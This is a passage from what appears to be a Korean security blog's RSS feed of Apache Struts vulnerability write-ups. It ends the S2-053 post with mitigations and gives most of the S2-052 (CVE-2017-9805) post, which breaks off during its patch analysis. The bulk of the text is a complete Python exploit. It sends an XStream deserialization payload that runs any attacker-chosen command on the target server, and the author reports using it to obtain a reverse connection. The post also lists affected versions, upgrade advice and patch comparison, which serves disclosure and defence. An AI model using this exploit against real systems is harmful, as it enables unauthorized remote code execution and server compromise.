class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F7AF3359BB6F3716&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F7AF3359BB6F3716&quot; width=&quot;720&quot; height=&quot;432&quot; filename=&quot;7.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center;&quot;&gt;[그림 7] 요청 값 확인&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/995B5C3359BB732F30&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F995B5C3359BB732F30&quot; width=&quot;720&quot; height=&quot;386&quot; filename=&quot;KakaoTalk_20170915_152739040.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;[그림 8]&amp;nbsp;/usr/bash&amp;nbsp;명령어 실행&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99832E3359BB73A530&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99832E3359BB73A530&quot; width=&quot;720&quot; height=&quot;431&quot; filename=&quot;8.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;b&gt;[그림 9]&amp;nbsp;/usr/sbin/ifconfig&amp;nbsp;명령어 실행&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C3AE3359BB6F3901&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C3AE3359BB6F3901&quot; width=&quot;720&quot; height=&quot;385&quot; filename=&quot;9.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&lt;span style=&quot;text-align: center;&quot;&gt;[그림 10] ifconfig 명령어 응답&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;대응 방안&lt;/p&gt;&lt;p&gt;&amp;nbsp;-&amp;nbsp;취약점에 영향을 받지 않는 버전으로 업데이트 수행(Apache Struts 2.5.12, Apache Struts 2.3.34)&lt;/p&gt;&lt;p&gt;&amp;nbsp;-&amp;nbsp;읽기만 가능한 속성을 이용하여 value 값 초기화(getter 속성에 한하여)&lt;/p&gt;&lt;p&gt;&amp;nbsp;-&amp;nbsp;freemarker 미사용&lt;/p&gt;</description>
      <category>취약점 분석/2009년 이후</category>
      <category>Aoache</category>
      <category>CVE-2017-12611</category>
      <category>exploit</category>
      <category>RCE</category>
      <category>S2-053</category>
      <category>struts</category>
      <category>Vulnerability</category>
      <author>알 수 없는 사용자</author>
      <guid isPermaLink="true">https://teamcrak.tistory.com/397</guid>
      <comments>https://teamcrak.tistory.com/397#entry397comment</comments>
      <pubDate>Fri, 15 Sep 2017 15:33:29 +0900</pubDate>
    </item>
    <item>
      <title>CVE-2017-9805 Apache Struts2 REST Plugin XStream Remote Code Execute(RCE)(S2-052)</title>
      <link>https://teamcrak.tistory.com/396</link>
      <description>&lt;p style=&quot;text-align: right;&quot;&gt;&lt;span style=&quot;color: rgb(74, 74, 69); font-size: 12px; font-family: Gulim;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;dkgang@a3security.com&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: right;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;TeamCR@K&lt;br style=&quot;color: rgb(74, 74, 69); font-size: 12px;&quot;&gt;&lt;/font&gt;&lt;span style=&quot;color: rgb(74, 74, 69); font-size: 12px; font-family: Gulim;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;강다경 컨설턴트 (A.K.A 따구)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;1. 취약점 개요&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Apache struts2에서&amp;nbsp;REST Plugin을 이용해 통신할 때&amp;nbsp;공격자가 임의의 명령어를 전송할 경우 데이터에 대해 체크 없이 deseriallize되어 서버에서 해당 명령어가 실행이 되는 RCE(Remote Code Execute)가 가능한 취약점 입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;2. 영향을 받는 제품 및 버전&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; - Apache Struts 2.1.2~2.3.33&lt;/p&gt;&lt;p&gt;&amp;nbsp; - Apache Struts 2.5~2.5.12&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;3. PoC 테스트 환경&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;Server(victim) - 192.168.44.135&lt;/p&gt;&lt;p&gt;&amp;nbsp; - CentOS Linux 7&lt;/p&gt;&lt;p&gt;&amp;nbsp; - Apache Tomcat 7.0&lt;/p&gt;&lt;p&gt;&amp;nbsp; - Apache Struts 2.3.15.1&lt;/p&gt;&lt;p&gt;&amp;nbsp;Client(Attacker) - 192.168.44.134&lt;/p&gt;&lt;p&gt;&amp;nbsp; - Kali Linux 4.9&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;4. PoC 테스트&lt;/b&gt;&lt;/p&gt;&lt;p&gt;먼저 GET에서 POST로 method를 변경한뒤,&lt;/p&gt;&lt;p&gt;header 에 Content-Type 을 application/xml 로,&lt;/p&gt;&lt;p&gt;Data에 XML payload를 삽입하여 요청패킷을 전송합니다.&lt;/p&gt;&lt;p&gt;이번 테스트는 서버에서 firefox가 실행되도록 명령어를 전송하였습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/996BCC3359BB305120&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F996BCC3359BB305120&quot; width=&quot;720&quot; height=&quot;486&quot; filename=&quot;스크린샷, 2017-09-13 07-32-27-1.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;[그림 1] payload전송 - 1&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99ABE73359BB305219&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99ABE73359BB305219&quot; width=&quot;720&quot; height=&quot;486&quot; filename=&quot;스크린샷, 2017-09-13 07-32-34-1.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;[그림 2] payload전송 - 2&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;서버에서 RCE(Remote Code Execute)가 발생하여 firefox가 실행되는 것을 확인하였습니다.&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9995D53359BB30531D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9995D53359BB30531D&quot; width=&quot;720&quot; height=&quot;405&quot; filename=&quot;스크린샷, 2017-09-13 15-50-37-1.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;[그림 3] RCE로 firefox실행 확인&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;payload를 이용하여 다음과 같이 공격코드를 작성하였습니다.&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;import requests&lt;/p&gt;&lt;p&gt;import sys&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;def exploit(url, cmd):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; url = url&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; cmd = &quot;&quot;.join([&quot;&amp;lt;string&amp;gt;{0}&amp;lt;/string&amp;gt;&quot;.format(_) for _ in cmd.split(&quot; &quot;)])&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload = &quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;lt;map&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;lt;entry&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;jdk.nashorn.internal.objects.NativeString&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;flags&amp;gt;0&amp;lt;/flags&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;value class=&quot;com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;dataHandler&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;dataSource class=&quot;com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;is class=&quot;javax.crypto.CipherInputStream&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;cipher class=&quot;javax.crypto.NullCipher&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;initialized&amp;gt;false&amp;lt;/initialized&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;opmode&amp;gt;0&amp;lt;/opmode&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;serviceIterator class=&quot;javax.imageio.spi.FilterIterator&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;iter class=&quot;javax.imageio.spi.FilterIterator&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;iter class=&quot;java.util.Collections$EmptyIterator&quot;/&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;next class=&quot;java.lang.ProcessBuilder&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;command&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {0}&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/command&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;redirectErrorStream&amp;gt;false&amp;lt;/redirectErrorStream&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/next&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/iter&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;filter class=&quot;javax.imageio.ImageIO$ContainsFilter&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;method&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;class&amp;gt;java.lang.ProcessBuilder&amp;lt;/class&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;name&amp;gt;start&amp;lt;/name&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;parameter-types/&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/method&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;name&amp;gt;foo&amp;lt;/name&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/filter&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;next class=&quot;string&quot;&amp;gt;foo&amp;lt;/next&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/serviceIterator&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;lock/&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/cipher&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;input class=&quot;java.lang.ProcessBuilder$NullInputStream&quot;/&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;ibuffer/&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;done&amp;gt;false&amp;lt;/done&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;ostart&amp;gt;0&amp;lt;/ostart&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;ofinish&amp;gt;0&amp;lt;/ofinish&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;closed&amp;gt;false&amp;lt;/closed&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/is&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;consumed&amp;gt;false&amp;lt;/consumed&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/dataSource&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;transferFlavors/&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/dataHandler&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;dataLen&amp;gt;0&amp;lt;/dataLen&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/value&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;/jdk.nashorn.internal.objects.NativeString&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;jdk.nashorn.internal.objects.NativeString reference=&quot;../jdk.nashorn.internal.objects.NativeString&quot;/&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;lt;/entry&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;lt;entry&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;jdk.nashorn.internal.objects.NativeString reference=&quot;../../entry/jdk.nashorn.internal.objects.NativeString&quot;/&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;jdk.nashorn.internal.objects.NativeString reference=&quot;../../entry/jdk.nashorn.internal.objects.NativeString&quot;/&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;lt;/entry&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;/map&amp;gt;&lt;/p&gt;&lt;p&gt;&quot;&quot;&quot;.format(cmd)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; headers = {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 'Referer': str(url),&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 'Content-Type': 'application/xml',&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 'Accept': '*/*'&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; timeout = 3&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; try:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; output = requests.post(url, data=payload, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; except Exception as e:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(&quot;@@EXCEPTION:&quot; + str(e))&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; output = 'ERROR'&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; return(output)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;if __name__ == '__main__':&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; if len(sys.argv) != 3:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print &quot;usage:python %s &amp;lt;url&amp;gt; &amp;lt;cmd&amp;gt;&quot;%(sys.argv[0])&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sys.exit(0)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; print &quot;[*] exploit Apache Struts2 S2-052&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; url = sys.argv[1]&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; cmd = sys.argv[2]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; print &quot;[*] URL:%s&quot; %url&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; print &quot;[*] CMD:%s&quot; %cmd&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; exploit(url, cmd)&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;작성한 코드를 이용하여 정상적으로 Reverse Connection이 가능한 것을 확인하였습니다.&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99449C3359BB305329&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99449C3359BB305329&quot; width=&quot;720&quot; height=&quot;479&quot; filename=&quot;스크린샷, 2017-09-13 07-44-35-1.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;[그림 4] 공격코드를 이용해 Reverse Connection가능 확인&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;5. 조치 방법&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;- Struts 2.5.13 혹은 2.3.34 버전으로 업그레이드&lt;/p&gt;&lt;p&gt;&amp;nbsp;- 사용하지 않는 REST 플러그인 삭제&lt;/p&gt;&lt;p&gt;&amp;nbsp;- XML 지원 삭제&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;6. patche 분석&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Rest Plug-in 구성을 살펴보았습니다.&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/992F533359BB30542C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F992F533359BB30542C&quot; width=&quot;720&quot; height=&quot;415&quot; filename=&quot;스크린샷, 2017-09-14 17-40-17-1.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;[그림 5] Rest Plug-in 구성 확인&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;patche 전 버전과 patche 후 버전의 XstreamHandler.class를 비교해 보았습니다.&lt;/p&gt;&lt;p&gt;XML 문서의 데이터가 XStream desrialization을 하는 동안&amp;nbsp;방지하기 악의적인 명령이 실행되는 것을 방지 하기&amp;nbsp;위해 허용목록이 지정되어 있습니다.&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9954323359BB305526&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9954323359BB305526&quot; width=&quot;720&quot; height=&quot;866&quot; filename=&quot;스크린샷, 2017-09-15 10-37-19-1.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;[그림 6] S2-052 취약점 패치 전, 후버전의 XstreamHandler.class&amp;nbsp;비교&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;7. 